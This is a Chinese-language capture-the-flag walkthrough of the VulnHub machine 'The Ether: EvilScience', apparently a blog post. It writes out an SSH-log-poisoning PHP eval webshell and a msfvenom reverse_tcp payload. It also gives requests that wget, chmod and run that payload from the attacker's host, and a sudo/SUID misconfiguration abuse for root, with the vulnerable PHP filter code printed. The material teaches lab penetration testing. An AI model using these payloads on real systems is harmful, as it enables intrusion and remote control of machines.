• 25. CTF综合靶机渗透(17)


    靶机链接

    https://www.vulnhub.com/entry/the-ether-evilscience,212

    运行环境

    • 本靶机提供了VMware的镜像,从Vulnhub下载之后解压,运行vmx文件即可

    • 靶机:本靶机默认使用了自动获取的上网模式。运行靶机之后,将会桥接到物理网卡,接入网络。

    • 攻击机:Kali虚拟机运行于virtualbox,同样使用桥接模式,即可访问靶机。

    靶机说明

    本靶机有一定难度,不适合初学者。

    本靶机的渗透目标为渗透进靶机并且找到系统中隐藏的Flag值。

    官方提供了一个提示:靶机中有一个相关的文件,在渗透过程中发挥重要作用,但是不要浪费时间试图去解密这个混淆后的文件。

    信息收集

    • ip发现

     首先看一下Kali的网络配置:

    之后使用namp发现靶机nmap -sP 192.168.0.0/24   发现有本网段有vm相关IP。

    • 端口扫描与服务                

    使用nmap发现192.168.0.105 靶机基本信息:nmap -p 1-65535 -A 192.168.0.105

    • 威胁建模

    分析nmap的扫描结果,发现靶机只开放了2280端口,系统为Ubuntu

    22端口为SSH服务,80端口为http服务,Web容器为Apache/2.4.18

    通常Web会存在各种各样的问题,经过初步分析,以Web作为初步的渗透入口。

    Web漏洞挖掘

    1. 使用niktoWeb漏洞扫描器

    使用nikto工具扫描Web漏洞,nikto -h 192.168.1.105-h参数指定扫描目标

    没有发现什么明显的高危漏洞,发现了images目录和/icons/README文件,没有什么利用价值。

    2. 使用dirb扫描网站目录

    dirb http://192.168.1.105 /usr/share/wordlists/dirb/big.txt

    除了部分静态文件,没有发现有价值的利用点。

    3. 浏览网站功能

    根据前两步基本的信息探测,并没有发现漏洞点。手动访问网站,分析网站功能。

    我们先来查看网站首页:

    点击ABOUT US链接后,发现URL为:http://192.168.1.101/?file=about.php,存在任意文件包含的可能。

    4. 文件包含漏洞测试

    为了直观的看到测试结果,这里使用Burpsuite处理http请求。

    通过尝试包含Linux系统的配置文件,发现存在一定的限制。

    如:包含/etc/passwd发现没有结果。

    之后测试了几个常见的Apache日志的路径:

    /var/log/apache/access.log
    /var/log/apache2/access.log
    /var/www/logs/access.log
    /var/log/access.log

    均无结果。

    猜测可能是更改了配置文件的路径,尝试读Apache2的配置文件,/etc/apache2/apache2.conf,发现也是失败。

    尝试通过php伪协议读取php文件源码,也无果。

    file=php://filter/convert.base64-encode/resource=index.php

    根据之前整理的文件包含漏洞笔记利用思路:

    结合之前信息探测的结果,靶机只开通了httpssh服务。Apache的日志包含失败,尝试包含ssh的登陆日志。

    file=/var/log/auth.log

    成功读到ssh的登陆日志。

    获取shell

    1. 获取一句话Webshell

    使用一句话作为用户名登陆靶机的ssh。

    使用kali命令行登陆:

    ssh "<?php eval($_GET['bmjoker']);?>"@192.168.1.105

    或者使用xshell:

    虽然我们不知道密码,但是SSH的日志会记录此次登陆行为,这样就可以把一句话

    写入ssh的日志文件。测试一下是否成功:

    可以看到一句话已经成功写入。

    2. msfvenom生成Meterpreter shell

    平时使用Msf比较多,这里也以Msf作为接下来主要的渗透工具。

    首先生成Linux平台的shell程序。

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.103 LPORT=4444 -f elf > shell.elf

    3. Metasploit 设置监听

    use exploit/multi/handler
    set payload linux/x86/meterpreter/reverse_tcp
    set lhost 192.168.0.103
    exploit

    4. 种植Meterpreter shell

    首先使用Python搭建一个简单的Web Server:python -m SimpleHTTPServer 80

    之后利用前面获得的一句话,执行命令,下载生成的木马,并且运行。

    分别发送以下请求:

    1. /?file=/var/log/auth.log&bmjoker=system('wget+192.168.0.103/shell.elf')%3b

    2. /?file=/var/log/auth.log&bmjoker=system('chmod+%2bx+shell.elf')%3b

    3. /?file=/var/log/auth.log&bmjoker=system('./shell.elf')%3b

    注意:

    1. 因为要执行的命令里面有空格、加号等符号,要将payload进行urlencode之后才可以正常执行。

    2. 因为生成的木马文件没有执行权限,下载到靶机后也无法执行,所以需要先给shell.elf添加执行权限,之后再执行。

    执行结果:

    提升权限

    Linux提权的基本思路:

    1. 溢出提权

    现在拿到了目标靶机的Meterpreter shell,简单的看下信息。

    发现系统为Ubuntu 16.04 (Linux 4.10.0-40-generic),前段时间爆了Ubuntu16.04提权的exp,在这里试一试。

    exp 地址:https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c

    多次实验...发现提权未果

    2. 使用msf提权

    use post/multi/recon/local_exploit_suggester

    没有发现可以利用的提权漏洞。

    3. 错误的SUID文件提权

    进入交互式shell,派生一个bash的shell: python -c 'import pty;pty.spawn("/bin/bash")'

    在Web的目录中发现了xxxlogauditorxxx.py,这是不应该存在的,猜测是题目所指的特殊文件,而且该文件特别大。

    运行一下该py文件,发现是审计日志的程序。 查看Apache2的日志文件,发现是执行了cat命令,但是因为权限不够,没有执行成功。

    仔细查看py文件的权限,发现具有SUID的权限,且文件所属用户为root。

    sudo --list查看一下用户权限。

    发现可以不使用密码即可以root权限运行该py文件。这就好办多了。

    该py文件的配置错误,导致可以直接以root权限执行命令。

    接下来拿root权限的shell。

    4. 获取root权限的shell

    因为之前已经上传了Msfvenom生成的马,这里再次使用。首先推出shell,background命令调入后台,然后再次开启监听,并且置于后台。

    利用发现的特殊文件以root权限运行msf木马。

    sudo ./xxxlogauditorxxx.py
    /var/log/apache2/access.log|./shell.elf

     

    运行py之后,显示出现问题,不过不影响运行木马。

    进入session 2的shell,查看权限:

    获取flag

    在root的家目录发现了flag.png文件:

    下载到本地进行分析:

    推测接下来的考点属于图片隐写。

    经过分析,在图片文件的末尾发现了一串base64

    将base64写入flag.txt,进行解码,get flag:

    cat flag | base64 -d

    靶场思路回顾

    至此,已经完成最终目标,回头分析一下之前几个失败的点。

    1. Web方面利用失败原因

    首先看一下index.php的核心代码:

    
    
    <?php
    $file = $_GET["file"];
    $file = str_ireplace("etc","", $file);
    $file = str_ireplace("php:","", $file);
    $file = str_ireplace("expect:","", $file);
    $file = str_ireplace("data:","", $file);
    $file = str_ireplace("proc","", $file);
    $file = str_ireplace("home","", $file);
    $file = str_ireplace("opt","", $file);
    
    
    if ($file == "/var/log/auth.log") 
    {
    header("location: index.php");
    }
    else
    {
    include($file);
    }
    
    
    include($file);
    ?>

    可以看到index.php将一些关键词置空了。

    所以,之前利用不成功的点原因如下:

    • 伪协议读文件失败

      过滤了php:且大小写敏感,故不能使用伪协议读文件。

    • 读取配置文件、passwd文件等失败

      过滤了etc,无法读取任何配置文件

    • 读取Apache访问日志失败。

             

    • 因权限问题,www-data用户无法写入和读取Apache的日志文件。故,包含Apache日志失败。

    2. 系统方面利用失败原因

    • 溢出提权失败

      通过分析报错,原因可能是因为靶机系统为32位,但exp只支持64位系统。

    思路总结

    突破点总结:

    1. PHP本地文件包含漏洞发现

    2. SSH日志写入一句话

    3. 利用LFI和SSH日志getshell

    4. MSF生成木马,利用一句话植入、运行

    5. 利用错误配置SUID程序提权

    在完成这次靶场的过程中,可以有很多发散的思路,比如:

    1. 文件包含漏洞,可以使用字典Fuzz一下各种配置文件。

    2. 使用NC或者其他反弹shell的姿势反弹shell。

    此外,Metasploit Framework有很多方便实用的功能,如果能够掌握,会大大简化渗透的某些步骤,值得深入学习。

    总体来说,此靶场设计比较简单。一个Web,一个SSH,利用点无非这两个,思路比较清晰,便于实践者完成该靶场。

  • 相关阅读:
    9.20-9.21学习内容
    轮播图案例
    一个封装函数的实现过程
    9.18-9.19学习内容
    事件捕获和事件冒泡
    9.17学习内容
    appendChild()方法遇到的问题
    9.15学习内容
    9.16学习内容
    通过端口检测远程服务器是否开启,如果没有开启开启本地替代服务脚本
  • 原文地址:https://www.cnblogs.com/bmjoker/p/9740819.html
Copyright © 2020-2023  润新知